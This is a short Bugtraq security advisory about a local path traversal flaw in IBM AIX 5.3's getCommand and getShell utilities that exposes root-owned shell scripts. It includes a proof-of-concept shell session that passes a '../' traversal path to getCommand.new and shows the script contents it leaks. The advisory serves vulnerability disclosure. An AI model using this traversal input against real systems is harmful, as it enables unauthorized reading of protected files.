IBM AIX GetShell and GetCommand Partial File Disclosure Vulnerability

Bugtraq ID:	16103
Class:	Design Error
CVE:
Remote:	No
Local:	Yes
Published:	Jan 01 2006 12:00AM
Updated:	Jan 01 2006 12:00AM
Credit:	Discovery is credited to the XFOCUS Security Team.
Vulnerable:	IBM AIX 5.3 L IBM AIX 5.3
Not Vulnerable:

IBM AIX GetShell and GetCommand Partial File Disclosure Vulnerability

IBM AIX is prone to a local vulnerability in getShell and getCommand. This vulnerability may let the attacker gain unauthorized read access to shell scripts on the computer.

IBM AIX GetShell and GetCommand Partial File Disclosure Vulnerability

The following example was provided:

-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40
/tmp/k.sh
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh

ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$

IBM AIX GetShell and GetCommand Partial File Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

IBM AIX GetShell and GetCommand Partial File Disclosure Vulnerability

References:

• [xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities (XFOCUS Security Team )